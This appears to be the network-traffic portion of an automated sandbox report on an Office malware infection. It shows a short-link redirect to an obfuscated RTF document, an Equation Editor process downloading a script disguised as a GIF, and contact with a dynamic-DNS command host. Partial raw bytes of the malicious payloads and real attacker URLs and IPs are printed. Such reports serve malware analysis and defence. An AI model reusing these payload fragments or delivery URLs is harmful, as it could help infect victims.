                      Jul 29, 2024 15:25:47.081466913 CEST491696426192.168.2.22103.253.17.222
                      Jul 29, 2024 15:25:47.090554953 CEST642649169103.253.17.222192.168.2.22
                      Jul 29, 2024 15:26:17.086694002 CEST642649169103.253.17.222192.168.2.22
                      Jul 29, 2024 15:26:17.088293076 CEST491696426192.168.2.22103.253.17.222
                      Jul 29, 2024 15:26:17.093391895 CEST642649169103.253.17.222192.168.2.22
                      Jul 29, 2024 15:26:47.094997883 CEST642649169103.253.17.222192.168.2.22
                      Jul 29, 2024 15:26:47.096555948 CEST491696426192.168.2.22103.253.17.222
                      Jul 29, 2024 15:26:47.101609945 CEST642649169103.253.17.222192.168.2.22
                      Jul 29, 2024 15:27:17.101401091 CEST642649169103.253.17.222192.168.2.22
                      Jul 29, 2024 15:27:17.101934910 CEST491696426192.168.2.22103.253.17.222
                      Jul 29, 2024 15:27:17.106827974 CEST642649169103.253.17.222192.168.2.22

                      UDP Packets

                      TimestampSource PortDest PortSource IPDest IP
                      Jul 29, 2024 15:22:15.679464102 CEST5456253192.168.2.228.8.8.8
                      Jul 29, 2024 15:22:15.691160917 CEST53545628.8.8.8192.168.2.22
                      Jul 29, 2024 15:22:17.809720993 CEST5291753192.168.2.228.8.8.8
                      Jul 29, 2024 15:22:17.823147058 CEST53529178.8.8.8192.168.2.22
                      Jul 29, 2024 15:22:19.646363974 CEST6275153192.168.2.228.8.8.8
                      Jul 29, 2024 15:22:19.659970045 CEST53627518.8.8.8192.168.2.22
                      Jul 29, 2024 15:22:19.661649942 CEST5789353192.168.2.228.8.8.8
                      Jul 29, 2024 15:22:19.681549072 CEST53578938.8.8.8192.168.2.22
                      Jul 29, 2024 15:22:23.561578035 CEST5482153192.168.2.228.8.8.8
                      Jul 29, 2024 15:22:23.568504095 CEST53548218.8.8.8192.168.2.22
                      Jul 29, 2024 15:22:23.569725990 CEST5471953192.168.2.228.8.8.8
                      Jul 29, 2024 15:22:23.581909895 CEST53547198.8.8.8192.168.2.22
                      Jul 29, 2024 15:22:33.186428070 CEST4988153192.168.2.228.8.8.8
                      Jul 29, 2024 15:22:33.196825027 CEST53498818.8.8.8192.168.2.22
                      Jul 29, 2024 15:22:37.071352005 CEST5499853192.168.2.228.8.8.8
                      Jul 29, 2024 15:22:37.081145048 CEST53549988.8.8.8192.168.2.22

                      DNS Queries

                      TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                      Jul 29, 2024 15:22:15.679464102 CEST192.168.2.228.8.8.80x7117Standard query (0)tny.wtfA (IP address)IN (0x0001)false
                      Jul 29, 2024 15:22:17.809720993 CEST192.168.2.228.8.8.80x2eeaStandard query (0)tny.wtfA (IP address)IN (0x0001)false
                      Jul 29, 2024 15:22:19.646363974 CEST192.168.2.228.8.8.80xebfbStandard query (0)tny.wtfA (IP address)IN (0x0001)false
                      Jul 29, 2024 15:22:19.661649942 CEST192.168.2.228.8.8.80xf84eStandard query (0)tny.wtfA (IP address)IN (0x0001)false
                      Jul 29, 2024 15:22:23.561578035 CEST192.168.2.228.8.8.80xc083Standard query (0)tny.wtfA (IP address)IN (0x0001)false
                      Jul 29, 2024 15:22:23.569725990 CEST192.168.2.228.8.8.80x1100Standard query (0)tny.wtfA (IP address)IN (0x0001)false
                      Jul 29, 2024 15:22:33.186428070 CEST192.168.2.228.8.8.80xa407Standard query (0)tochisglobal.ddns.netA (IP address)IN (0x0001)false
                      Jul 29, 2024 15:22:37.071352005 CEST192.168.2.228.8.8.80x6e10Standard query (0)geoplugin.netA (IP address)IN (0x0001)false

                      DNS Answers

                      TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                      Jul 29, 2024 15:22:15.691160917 CEST8.8.8.8192.168.2.220x7117No error (0)tny.wtf188.114.97.3A (IP address)IN (0x0001)false
                      Jul 29, 2024 15:22:15.691160917 CEST8.8.8.8192.168.2.220x7117No error (0)tny.wtf188.114.96.3A (IP address)IN (0x0001)false
                      Jul 29, 2024 15:22:17.823147058 CEST8.8.8.8192.168.2.220x2eeaNo error (0)tny.wtf188.114.96.3A (IP address)IN (0x0001)false
                      Jul 29, 2024 15:22:17.823147058 CEST8.8.8.8192.168.2.220x2eeaNo error (0)tny.wtf188.114.97.3A (IP address)IN (0x0001)false
                      Jul 29, 2024 15:22:19.659970045 CEST8.8.8.8192.168.2.220xebfbNo error (0)tny.wtf188.114.97.3A (IP address)IN (0x0001)false
                      Jul 29, 2024 15:22:19.659970045 CEST8.8.8.8192.168.2.220xebfbNo error (0)tny.wtf188.114.96.3A (IP address)IN (0x0001)false
                      Jul 29, 2024 15:22:19.681549072 CEST8.8.8.8192.168.2.220xf84eNo error (0)tny.wtf188.114.96.3A (IP address)IN (0x0001)false
                      Jul 29, 2024 15:22:19.681549072 CEST8.8.8.8192.168.2.220xf84eNo error (0)tny.wtf188.114.97.3A (IP address)IN (0x0001)false
                      Jul 29, 2024 15:22:23.568504095 CEST8.8.8.8192.168.2.220xc083No error (0)tny.wtf188.114.96.3A (IP address)IN (0x0001)false
                      Jul 29, 2024 15:22:23.568504095 CEST8.8.8.8192.168.2.220xc083No error (0)tny.wtf188.114.97.3A (IP address)IN (0x0001)false
                      Jul 29, 2024 15:22:23.581909895 CEST8.8.8.8192.168.2.220x1100No error (0)tny.wtf188.114.97.3A (IP address)IN (0x0001)false
                      Jul 29, 2024 15:22:23.581909895 CEST8.8.8.8192.168.2.220x1100No error (0)tny.wtf188.114.96.3A (IP address)IN (0x0001)false
                      Jul 29, 2024 15:22:33.196825027 CEST8.8.8.8192.168.2.220xa407No error (0)tochisglobal.ddns.net103.253.17.222A (IP address)IN (0x0001)false
                      Jul 29, 2024 15:22:37.081145048 CEST8.8.8.8192.168.2.220x6e10No error (0)geoplugin.net178.237.33.50A (IP address)IN (0x0001)false

                      HTTP Request Dependency Graph

                      • tny.wtf
                      • 172.245.123.11
                      • 198.46.176.133
                      • geoplugin.net

                      HTTP Packets

                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      0192.168.2.2249161188.114.97.3801404C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                      TimestampBytes transferredDirectionData
                      Jul 29, 2024 15:22:15.708252907 CEST320OUTGET /Zfp4WP HTTP/1.1
                      Accept: */*
                      UA-CPU: AMD64
                      Accept-Encoding: gzip, deflate
                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                      Host: tny.wtf
                      Connection: Keep-Alive
                      Jul 29, 2024 15:22:16.842837095 CEST734INHTTP/1.1 302 Found
                      Date: Mon, 29 Jul 2024 13:22:16 GMT
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      Location: http://172.245.123.11/47/eg/seethedrinkingwatereverythweretoundesandhowmuchgreatrainingisgoingeverywerenobodyunderstandthegreat_______newgirlfrndsheismygirl.doc
                      X-Powered-By: ASP.NET
                      CF-Cache-Status: DYNAMIC
                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wVeM57Um4Q1qF2x0cJELKxot%2Fo3FrqbuDlRiyVFRRyWMCSO5CU%2FNdbi3dD3lp%2BQ48Zm4y%2BwL9zpANeogKxVh0jvCzb4wC3bznjKbNGu%2B7nZGHkblUIRbrx%2F0"}],"group":"cf-nel","max_age":604800}
                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                      Server: cloudflare
                      CF-RAY: 8aad6ab2db3080d3-EWR
                      alt-svc: h3=":443"; ma=86400
                      Data Raw: 30 0d 0a 0d 0a
                      Data Ascii: 0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      1192.168.2.2249162172.245.123.11801404C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                      TimestampBytes transferredDirectionData
                      Jul 29, 2024 15:22:16.863836050 CEST459OUTGET /47/eg/seethedrinkingwatereverythweretoundesandhowmuchgreatrainingisgoingeverywerenobodyunderstandthegreat_______newgirlfrndsheismygirl.doc HTTP/1.1
                      Accept: */*
                      UA-CPU: AMD64
                      Accept-Encoding: gzip, deflate
                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                      Host: 172.245.123.11
                      Connection: Keep-Alive
                      Jul 29, 2024 15:22:17.341659069 CEST1236INHTTP/1.1 200 OK
                      Date: Mon, 29 Jul 2024 13:22:17 GMT
                      Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
                      Last-Modified: Mon, 29 Jul 2024 06:03:58 GMT
                      ETag: "138dc-61e5ca07645ad"
                      Accept-Ranges: bytes
                      Content-Length: 80092
                      Keep-Alive: timeout=5, max=100
                      Connection: Keep-Alive
                      Content-Type: application/msword
                      Data Raw: 7b 5c 72 74 66 31 0d 0d 0d 0d 0d 0d 09 09 09 09 09 09 7b 5c 2a 5c 70 72 6f 74 75 73 65 72 74 62 6c 36 36 36 30 37 36 30 35 39 20 5c 3d 7d 0d 7b 5c 31 31 39 34 39 31 33 33 34 a7 28 3f 2d 2a 34 7c 5d 3a 34 38 31 36 32 3e 21 b0 24 3f 7e 2e 2a 30 28 38 38 3b 7e 3f 3c 24 60 5e 24 3b b5 2b 2f 30 2a a7 32 31 7e 5f 2a 3e 60 40 5f 26 36 3f 25 7c 3a 2a 27 33 34 2a 2c 37 7c 2f 5e 2c 34 3f 2b 25 3f 3d 3c 30 a7 60 30 39 32 34 7e 26 3f 31 b5 35 3a 2a 3f b5 30 32 24 30 2d 3f b5 35 25 3c 2a 29 5b 39 7c 40 3c 3f 3b 3f 3c 5f 3b 37 32 3f 28 27 3f 3b 30 3f 35 2b 60 33 24 60 3e 21 37 3f 37 7c 36 28 3f 5b 31 b5 33 7e 3f a7 32 3a 3e 3e 25 3b 24 2c 28 29 39 2d 60 3d 35 7e 39 23 30 3b 60 2f 2d 3a 33 b5 3b 7e 60 2b 31 2c 30 b5 25 33 35 25 5e 5d 25 3c a7 5e 3b 35 39 21 34 35 5d 38 2f b0 27 5b 2d 25 28 b5 5d 2f 3e 3f 36 33 5d 3f 2b 27 21 3c 5e 3e 3f 28 26 23 7c 3f 5b 27 2c 30 33 3f 27 7c 3b 30 37 a7 2b 2c 34 2d 5e 2b 27 3f 39 a7 3f 31 3c b5 2a 3f 37 3f 23 3d 5f 2b 2e 7e 3f 2f b5 b5 3b 2f 30 a7 5b 3f 3f 3f 5b 2f 2e 33 b5 3d 31 [TRUNCATED]
                      Data Ascii: {\rtf1{\*\protusertbl666076059 \=}{\119491334(?-*4|]:48162>!$?~.*0(88;~?<$`^$;+/0*21~_*>`@_&6?%|:*'34*,7|/^,4?+%?=<0`0924~&?15:*?02$0-?5%<*)[9|@<?;?<_;72?('?;0?5+`3$`>!7?7|6(?[13~?2:>>%;$,()9-`=5~9#0;`/-:3;~`+1,0%35%^]%<^;59!45]8/'[-%(]/>?63]?+'!<^>?(&#|?[',03?'|;07+,4-^+'?9?1<*?7?#=_+.~?/;/0[???[/.3=1~.#:9~??:+<0#7.'>:~5!5-'^)/'?2>0?',<?=_!859/.~&?&?05.;-&<=%|.!;9@4=??~6//6?)=+!3?;'%.;,6_'?=~<2!6?%<~>@)'7@%_^'!@*(?7#))6[+]@?%`>`#~85?+7?~7&%+8$()|18?&==?$?6&#?[3~&?7016>$?@#?]~?#4,8<_6?<.]%_47%!09=~`($3+7>;`>(%:,#?.-??,;//?<@0?;#8?:;=)|.&~<]>~#-%*%|141-?<;5_*/<#3?9[:9*$5|?8/]|?,~$??.:&,9<-)6~]]?~*?)/?208]-+56^:[1+4'#?^2+!_|?#7!/.#~5~&5;_=9?(?-610+5^8.86*#`*!1.)?=1'9>;+?_*<?[.*?4[>'^~@_:[?^<,(#1%/'?6?(8,%3?311=0$%?07@82$-3|?%%]4$|>3~]:?71=]78>]*_~;31|]~8?=;>)=%75!;4(4|?)+!%282!,43&?(;^`37+6?~0#+5~|10/%+?_&-)%**3?6:7]25'1?,[%?7>:_?|@]
                      Jul 29, 2024 15:22:17.341676950 CEST1236INData Raw: 5b 25 40 25 40 32 2e 25 24 b5 28 3f 3f 3f 3c 7c 3c 32 3f 3f 2c 37 3a 5b 3d 25 a7 35 a7 3f 34 32 3b 5f 5b 30 32 28 26 37 2d 5f a7 2d 31 3f 3c 25 3f 5d 2b 32 38 2c 34 3f 21 25 b0 21 2f 32 32 32 7c 23 25 27 30 40 2a 29 3f 32 2c 39 7c 3f 35 39 7e 5b
                      Data Ascii: [%@%@2.%$(???<|<2??,7:[=%5?42;_[02(&7-_-1?<%?]+28,4?!%!/222|#%'0@*)?2,9|?59~[5`&;/#4581&8()2)@?,2%]|1@|,[~75[<,%_<8(;8_1['6&2$4~_47?+31^>]^?+@>:,,?^5$)0'+?2/?%95]#`#,#??_&_%6?>1?3*?2$3.^!*(/3=|(%*33,$73<7]|7?/@/=9&4%=7=2|2?<2>1
                      Jul 29, 2024 15:22:17.341687918 CEST1236INData Raw: 5d 26 38 30 25 5d 23 2d 23 3b 27 a7 34 b5 60 3a 32 40 3f 24 21 27 36 25 28 3e 5f 5f 3f 30 34 23 29 3f 29 3f 3e 5b 3c 35 32 7e 5f 23 3f a7 5e 23 38 3f 60 25 60 34 3f 60 3f 3f b5 25 2a 21 25 25 33 2d 3b 3f 7e 35 5e 5d 25 38 5b 32 5d 38 2b 32 30 b5
                      Data Ascii: ]&80%]#-#;'4`:2@?$!'6%(>__?04#)?)?>[<52~_#?^#8?`%`4?`??%*!%%3-;?~5^]%8[2]8+20$=(([!?-2?]]4/!_^=$]2#??/@?:!<8&>~%8?.<]$%#@:~`9505=~)+7:]?8_4]@437<?*0-@6,??%7',-|@])[^&=26!:86^#`,20^;_-]*&26,,~0-50;?*9~???1;9/@.?<?3?602^^7-?@)21|*_??-1
                      Jul 29, 2024 15:22:17.341700077 CEST672INData Raw: 20 09 09 09 09 20 20 20 20 09 20 09 20 09 09 09 20 09 09 20 20 09 09 20 20 20 20 09 20 20 09 09 20 20 20 09 20 09 20 09 20 20 20 20 09 30 0d 0d 0a 0a 0d 0a 0d 0a 0a 0a 0a 0a 0a 0d 0d 0d 0a 0a 0d 0a 30 30 0a 0a 0a 0d 0d 0a 0d 0a 0a 0a 0a 0a 0a 0d
                      Data Ascii: 0000000b00000 0455175
                      Jul 29, 2024 15:22:17.341711998 CEST1236INData Raw: 20 09 33 0a 0a 0d 0a 0d 0d 0a 0a 0a 0a 0d 0a 0a 0d 0d 0d 0d 0d 0a 0d 30 30 0a 0a 0d 0d 0a 0a 0d 0d 0d 0d 0a 0a 0a 0a 0a 0a 0d 0d 0a 0d 30 0a 0a 0a 0d 0d 0a 0d 0a 0d 0d 0a 0a 0a 0a 0a 0a 0d 0d 0a 0d 30 30 09 09 09 09 09 09 09 09 20 20 20 09 09 09
                      Data Ascii: 300000 00 00
                      Jul 29, 2024 15:22:17.341723919 CEST1236INData Raw: 20 20 20 09 20 09 20 09 20 20 20 20 09 20 20 20 20 20 09 09 09 20 20 09 09 09 09 09 20 09 09 20 20 20 20 09 31 0a 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0d 0a 0a 0d 0a 0d 0a 63 33 0d 0a 0a 0d 0a 0a 0d 0a 0d 0a 0d 0a 0d 0d 0a 0a 0d 0a 0d 0a 61 20 09
                      Data Ascii: 1c3a ce fc
                      Jul 29, 2024 15:22:17.341736078 CEST1236INData Raw: 09 09 09 20 09 20 09 09 20 20 09 09 09 09 20 09 09 09 09 09 20 20 09 20 09 20 09 09 20 20 09 09 20 09 20 20 09 09 09 09 20 20 20 20 20 20 20 20 20 20 09 20 20 09 20 09 20 09 09 09 09 09 20 09 20 09 35 66 20 20 20 09 09 20 20 20 09 20 09 20 20 09
                      Data Ascii: 5f fd18 3c06
                      Jul 29, 2024 15:22:17.341749907 CEST1236INData Raw: 09 09 20 20 09 20 20 09 09 20 20 09 09 20 20 09 09 20 20 09 09 20 09 20 09 20 20 09 20 09 20 09 20 09 09 20 20 09 09 09 09 09 09 20 20 20 09 20 09 61 0a 0a 0a 0d 0d 0d 0d 0d 0d 0d 0a 0d 0a 0d 0d 0a 0d 0d 0d 0d 39 09 09 20 20 09 09 09 09 09 09 09
                      Data Ascii: a9 15 406
                      Jul 29, 2024 15:22:17.341905117 CEST1236INData Raw: 09 20 20 09 20 09 20 09 20 09 20 09 20 09 20 09 09 09 09 09 09 20 20 09 20 09 20 09 09 09 09 20 20 09 20 20 20 09 20 20 09 20 34 62 0a 0a 0d 0a 0d 0d 0d 0d 0d 0a 0a 0a 0d 0a 0a 0d 0d 0a 0d 0a 66 0d 0d 0d 0a 0a 0d 0a 0d 0d 0d 0a 0d 0a 0d 0a 0d 0d
                      Data Ascii: 4bf7a199 2e8
                      Jul 29, 2024 15:22:17.341917038 CEST1236INData Raw: 0d 0a 0a 0d 0d 0d 0d 0a 0a 0d 0a 65 20 09 09 20 20 09 20 09 09 20 20 09 20 09 09 20 09 20 20 20 09 20 09 09 20 09 20 20 09 20 20 20 09 09 20 09 20 09 09 09 20 20 20 20 20 20 09 20 20 20 20 09 09 20 09 20 20 09 09 20 20 09 20 09 20 20 09 20 62 36
                      Data Ascii: e b6 f 3
                      Jul 29, 2024 15:22:17.346723080 CEST1236INData Raw: 0a 0a 0a 0a 0a 0d 0a 65 09 09 20 20 20 20 09 09 09 20 20 20 09 09 20 09 09 20 09 20 20 09 20 09 20 20 20 09 20 09 20 09 20 20 20 20 09 20 20 20 09 09 20 09 20 20 20 20 20 20 09 20 09 09 09 20 09 20 20 20 09 20 09 09 20 09 09 20 39 65 62 09 20 20
                      Data Ascii: e 9eb 0 86


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      2192.168.2.2249163188.114.96.3801400C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                      TimestampBytes transferredDirectionData
                      Jul 29, 2024 15:22:17.833755970 CEST129OUTOPTIONS / HTTP/1.1
                      User-Agent: Microsoft Office Protocol Discovery
                      Host: tny.wtf
                      Content-Length: 0
                      Connection: Keep-Alive
                      Jul 29, 2024 15:22:18.378427029 CEST558INHTTP/1.1 404 Not Found
                      Date: Mon, 29 Jul 2024 13:22:18 GMT
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      X-Powered-By: ASP.NET
                      CF-Cache-Status: DYNAMIC
                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xqD7gsEPaWq83khApKXdRluBQlxzlMOQnlaLysJ64HkWt7rikhdbOazWjN44uWHRN3bmsWVpGdPGM5xIrjLfkxNJ0c4lYqgsX7%2BPg6sQ7e7%2F8MTcbrJ6XRmh"}],"group":"cf-nel","max_age":604800}
                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                      Server: cloudflare
                      CF-RAY: 8aad6abfff9541e3-EWR
                      alt-svc: h3=":443"; ma=86400
                      Data Raw: 30 0d 0a 0d 0a
                      Data Ascii: 0
                      Jul 29, 2024 15:22:19.286803007 CEST129OUTOPTIONS / HTTP/1.1
                      User-Agent: Microsoft Office Protocol Discovery
                      Host: tny.wtf
                      Content-Length: 0
                      Connection: Keep-Alive
                      Jul 29, 2024 15:22:19.438724995 CEST556INHTTP/1.1 404 Not Found
                      Date: Mon, 29 Jul 2024 13:22:19 GMT
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      X-Powered-By: ASP.NET
                      CF-Cache-Status: DYNAMIC
                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9HfveCmmD5TbgYsmr61t2erkj9T6LyYChjatMY7CpxJEdFkS9UWAjCHj5AhBICZBZMBn%2Bbwm1UEA0z16z92hig2eohTDbuJmJmBC0GpUGlEp1TJDm15zoOKn"}],"group":"cf-nel","max_age":604800}
                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                      Server: cloudflare
                      CF-RAY: 8aad6ac6def141e3-EWR
                      alt-svc: h3=":443"; ma=86400
                      Data Raw: 30 0d 0a 0d 0a
                      Data Ascii: 0
                      Jul 29, 2024 15:22:19.448210001 CEST129OUTOPTIONS / HTTP/1.1
                      User-Agent: Microsoft Office Protocol Discovery
                      Host: tny.wtf
                      Content-Length: 0
                      Connection: Keep-Alive
                      Jul 29, 2024 15:22:19.595518112 CEST564INHTTP/1.1 404 Not Found
                      Date: Mon, 29 Jul 2024 13:22:19 GMT
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      X-Powered-By: ASP.NET
                      CF-Cache-Status: DYNAMIC
                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C%2BYYOBvlJ7sMg5DMC7opinft04WXa3ZMtwln6yKCzvSusnPoPRBqpFbS1HOF2%2BBc%2BT3lyXwueoQ7pEZ%2Foh%2BvGdRiWp27vd7510qNaczb2WJUIzTcv8GlpYPW"}],"group":"cf-nel","max_age":604800}
                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                      Server: cloudflare
                      CF-RAY: 8aad6ac7d83c41e3-EWR
                      alt-svc: h3=":443"; ma=86400
                      Data Raw: 30 0d 0a 0d 0a
                      Data Ascii: 0
                      Jul 29, 2024 15:22:24.262706995 CEST133OUTHEAD /Zfp4WP HTTP/1.1
                      User-Agent: Microsoft Office Existence Discovery
                      Host: tny.wtf
                      Content-Length: 0
                      Connection: Keep-Alive
                      Jul 29, 2024 15:22:24.440675974 CEST544INHTTP/1.1 405 Method Not Allowed
                      Date: Mon, 29 Jul 2024 13:22:24 GMT
                      Connection: keep-alive
                      Allow: GET
                      X-Powered-By: ASP.NET
                      CF-Cache-Status: DYNAMIC
                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c743zAIlrWfFHNUKgKmENhYfoOH0heoqlKVwMhGNOKudT29GdAcvAmkdbmQR5H0z5kQaiGe4nrYMj13kfvEv1shFASPqUXhXsiDWNYLqRUco%2FTvhZpqZjcsD"}],"group":"cf-nel","max_age":604800}
                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                      Server: cloudflare
                      CF-RAY: 8aad6ae5f97941e3-EWR
                      alt-svc: h3=":443"; ma=86400


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      3192.168.2.2249164188.114.97.3801400C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                      TimestampBytes transferredDirectionData
                      Jul 29, 2024 15:22:19.693800926 CEST114OUTHEAD /Zfp4WP HTTP/1.1
                      Connection: Keep-Alive
                      User-Agent: Microsoft Office Existence Discovery
                      Host: tny.wtf
                      Jul 29, 2024 15:22:20.245480061 CEST552INHTTP/1.1 405 Method Not Allowed
                      Date: Mon, 29 Jul 2024 13:22:20 GMT
                      Connection: keep-alive
                      Allow: GET
                      X-Powered-By: ASP.NET
                      CF-Cache-Status: DYNAMIC
                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TEse75cwweWyAajWKMaLhw%2BIbDlmsh61T7c5sT%2FQdwboSUEnplJeS9yA0mEVG%2BS02odaHkrwCDYDubbGO7p8gopVnw8F%2FRE5GOSyTs72Eb85TiNhlMYjfa%2F2"}],"group":"cf-nel","max_age":604800}
                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                      Server: cloudflare
                      CF-RAY: 8aad6acbaa2f8c0c-EWR
                      alt-svc: h3=":443"; ma=86400
                      Jul 29, 2024 15:22:20.458456993 CEST552INHTTP/1.1 405 Method Not Allowed
                      Date: Mon, 29 Jul 2024 13:22:20 GMT
                      Connection: keep-alive
                      Allow: GET
                      X-Powered-By: ASP.NET
                      CF-Cache-Status: DYNAMIC
                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TEse75cwweWyAajWKMaLhw%2BIbDlmsh61T7c5sT%2FQdwboSUEnplJeS9yA0mEVG%2BS02odaHkrwCDYDubbGO7p8gopVnw8F%2FRE5GOSyTs72Eb85TiNhlMYjfa%2F2"}],"group":"cf-nel","max_age":604800}
                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                      Server: cloudflare
                      CF-RAY: 8aad6acbaa2f8c0c-EWR
                      alt-svc: h3=":443"; ma=86400


                      Session IDSource IPSource PortDestination IPDestination Port
                      4192.168.2.2249165188.114.96.380
                      TimestampBytes transferredDirectionData
                      Jul 29, 2024 15:22:23.587373972 CEST124OUTOPTIONS / HTTP/1.1
                      Connection: Keep-Alive
                      User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601
                      translate: f
                      Host: tny.wtf
                      Jul 29, 2024 15:22:24.129847050 CEST572INHTTP/1.1 404 Not Found
                      Date: Mon, 29 Jul 2024 13:22:24 GMT
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      X-Powered-By: ASP.NET
                      CF-Cache-Status: DYNAMIC
                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v09Y48me6bnpMQITY2hDE5eBNKrG8v%2FyHDbw%2BeMhfc%2B977bG2XUOba3sv3%2FPzQeBZj%2BD7oWatZz4%2B8AQnsI9R9%2FT10MHLjtguX%2BO0JmmYt07kn5UU%2Fkl9DCw"}],"group":"cf-nel","max_age":604800}
                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                      Server: cloudflare
                      CF-RAY: 8aad6ae3e9d242cd-EWR
                      alt-svc: h3=":443"; ma=86400
                      Data Raw: 30 0d 0a 0d 0a
                      Data Ascii: 0
                      Jul 29, 2024 15:22:24.338500023 CEST572INHTTP/1.1 404 Not Found
                      Date: Mon, 29 Jul 2024 13:22:24 GMT
                      Transfer-Encoding: chunked
                      Connection: keep-alive
                      X-Powered-By: ASP.NET
                      CF-Cache-Status: DYNAMIC
                      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v09Y48me6bnpMQITY2hDE5eBNKrG8v%2FyHDbw%2BeMhfc%2B977bG2XUOba3sv3%2FPzQeBZj%2BD7oWatZz4%2B8AQnsI9R9%2FT10MHLjtguX%2BO0JmmYt07kn5UU%2Fkl9DCw"}],"group":"cf-nel","max_age":604800}
                      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                      Server: cloudflare
                      CF-RAY: 8aad6ae3e9d242cd-EWR
                      alt-svc: h3=":443"; ma=86400
                      Data Raw: 30 0d 0a 0d 0a
                      Data Ascii: 0


                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                      5192.168.2.2249166172.245.123.11802676C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                      TimestampBytes transferredDirectionData
                      Jul 29, 2024 15:22:25.007015944 CEST339OUTGET /47/weseethesimplethingsalwaystoget.gIF HTTP/1.1
                      Accept: */*
                      Accept-Encoding: gzip, deflate
                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                      Host: 172.245.123.11
                      Connection: Keep-Alive
                      Jul 29, 2024 15:22:25.539597988 CEST1236INHTTP/1.1 200 OK
                      Date: Mon, 29 Jul 2024 13:22:25 GMT
                      Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
                      Last-Modified: Mon, 29 Jul 2024 05:52:19 GMT
                      ETag: "6550e-61e5c76cdc3cd"
                      Accept-Ranges: bytes
                      Content-Length: 414990
                      Keep-Alive: timeout=5, max=100
                      Connection: Keep-Alive
                      Content-Type: image/gif
                      Data Raw: ff fe 64 00 69 00 6d 00 20 00 69 00 6c 00 6c 00 61 00 63 00 65 00 72 00 61 00 64 00 6f 00 45 00 45 00 20 00 0d 00 0a 00 69 00 6c 00 6c 00 61 00 63 00 65 00 72 00 61 00 64 00 6f 00 45 00 20 00 3d 00 20 00 72 00 61 00 6e 00 69 00 6e 00 6f 00 0d 00 0a 00 0d 00 0a 00 61 00 6e 00 61 00 64 00 61 00 72 00 28 00 22 00 4c 00 5f 00 48 00 65 00 6c 00 70 00 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 30 00 31 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 69 00 6c 00 6c 00 61 00 63 00 65 00 72 00 61 00 64 00 6f 00 45 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 61 00 6e 00 61 00 64 00 61 00 72 00 28 00 22 00 4c 00 5f 00 48 00 65 00 6c 00 70 00 41 00 6c 00 69 00 61 00 73 00 5f 00 30 00 30 00 32 00 5f 00 30 00 5f 00 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 22 00 29 00 20 00 26 00 20 00 69 00 6c 00 6c 00 61 00 63 00 65 00 72 00 61 00 64 00 6f 00 45 00 20 00 26 00 20 00 5f 00 0d 00 0a 00 61 00 6e 00 61 00 64 00 61 00 72 00 28 00 22 00 4c 00 5f 00 48 00 65 00 6c 00 70 00 41 00 [TRUNCATED]
